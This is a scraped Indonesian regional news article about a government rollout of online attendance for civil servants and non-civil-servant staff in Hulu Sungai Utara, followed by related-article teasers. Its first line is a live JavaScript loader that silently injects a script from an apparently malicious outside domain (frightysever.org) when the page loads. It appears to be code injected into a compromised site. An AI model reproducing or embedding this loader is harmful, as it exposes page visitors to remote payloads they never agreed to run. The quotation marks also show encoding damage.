(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Absensi sistem online bakal berlaku bagi seluruh Aparatur Sipil Negara (ASN) di lingkungan Pemkab Hulu Sungai Utara (HSU). Badan Kepegawaian Pendidikan dan Pelatihan (BKPP) HSU berkerjasama Dinas Komunikasi dan Informatika HSU menggelar sosialisasi dan pelatihan terhadap 57 SKPD di lingkungan Pemkab HSU, di Aula Kantor BKPP, Rabu (24/1).
Acara sosialisasi selain diikuti perwakilan Dinas dan Banda juga dihadiri perwakilan Rumah Sakit, Puskesmas, Kantor Kecamatan, dan Kantor Kelurahan.
Menurut Kabid Pengadaan, Pemberhentian dan Informasi BKPP HSU H Ahmad Yusri, penggunaan absensi sistem online dilaksanakan berdasarkan kebijakan Bupati HSU untuk mengevaluasi kinerja dan meningkatkan kedisiplinan pegawai di lingkungan Pemkab HSU.
“Absensi sistem online ini tidak hanya berlaku untuk ASN, namun juga berlaku untuk non ASN,†papar Yusri.
Sementara itu, Kepala Bidang E-Government Diskominfo HSU HM Haridi menuturkan, pelaksanaan absensi sistem online ditargetkan akan mulai berlaku pada awal Februari 2018.
“Berdasarkan arahan Bupati, absensi sistem online ini sudah dimulai pada awal Februari,†kata Haridi.
Ditambahkan Haridi, absensi ini tidak ada perbedaan dengan absensi sistem offline, hanya saja data akan langsung masuk ke sebuah server, sehingga data absensi pegawai hanya bisa diakses oleh admin di BKPP HSU.
“Adapun untuk format absensi akan diatur berdasarkan ketentuan jam kerja yang berlaku, namun ada perbedaan bagi unit kerja pelayanan seperti rumah sakit dan Puskesmas rawat inap,†pungkas Haridi.
Salah seorang pegawai non ANS Mahdian Noor beranggapan baik atas inisiasi dari pemerintah daerah tersebut, karena tidak ada masalah apapun mengenai sistem absensi yang dipergunakan.
“Zaman sudah semakin maju, jadi baik bila kemajuan teknologi itu lebih dimanfaatkan dalam segala hal, salah satunya absensi pegawai ini, kagi pula itu sudah jadi kebijakan pimpinan yang tujuannya baik terkait kedisiplinan pegawai,†ujar Mahdi.
Meski dirinya hanya sebagai pegawai non ASN tidak merasa dirugikan dengan adanya sistem ini. (dewahyudi)
KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan resmi melepas kafilah… Read More
This website uses cookies.